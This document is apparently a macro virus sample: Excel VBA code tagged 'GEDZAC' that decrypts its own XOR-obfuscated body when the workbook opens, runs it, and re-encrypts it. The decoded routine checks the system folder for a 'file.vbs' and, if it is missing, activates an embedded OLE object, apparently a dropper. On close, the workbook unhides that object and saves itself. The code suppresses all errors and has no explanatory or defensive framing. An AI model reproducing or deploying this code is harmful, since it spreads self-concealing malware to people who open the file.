'GEDZAC Private Sub Workbook_Activate(): On Error Resume Next: Call EncMacro(0): Call gMacro: Call gMacro: Call EncMacro(1): End Sub Sub gMacro() 'Hi'Buuhu'Ubtrjb'Ibs 'Cnj'ath'Ft'Hembds='Tbs'ath':'DubfsbHembds/%Tdunwsni`)AnkbT~tsbjHembds%. 'Na'Cnu/ath)@bsTwbdnfkAhkcbu/6.'!'%[ankb)qet%.':'%%'Sobi 'Fwwkndfsnhi)Phultobbst/6.)Qntnekb':'Surb='Fwwkndfsnhi)Phultobbst/6.)Tofwbt/6.)HKBAhujfs)Fdsnqfsb 'Bktb 'Fwwkndfsnhi)Phultobbst/6.)Tofwbt/6.)Qntnekb':'Afktb 'Bic'Na End Sub Private Function EncMacro(y) On Error Resume Next For i = 1 To Application.VBE.CodePanes.Count If Application.VBE.CodePanes(i).CodeModule.Lines(4, 1) = "Sub gMacro()" Then Set avc = Application.VBE.CodePanes(i).CodeModule For s = 5 To avc.CountOfLines - 24 If y = 0 Then avc.ReplaceLine s, x(Mid(avc.Lines(s, 1), 2)) ElseIf y = 1 Then avc.ReplaceLine s, "'" & x(avc.Lines(s, 1)) End If Next End If Next End Function Private Function x(c): On Error Resume Next: For i = 1 To Len(c): x = x & Chr(Asc(Mid(c, i, 1)) Xor 7): Next: End Function Private Sub Workbook_BeforeClose(Cancel As Boolean) On Error Resume Next: Me.Worksheets(1).Shapes(1).Visible = True If Me.Path <> "" Then Me.Save End Sub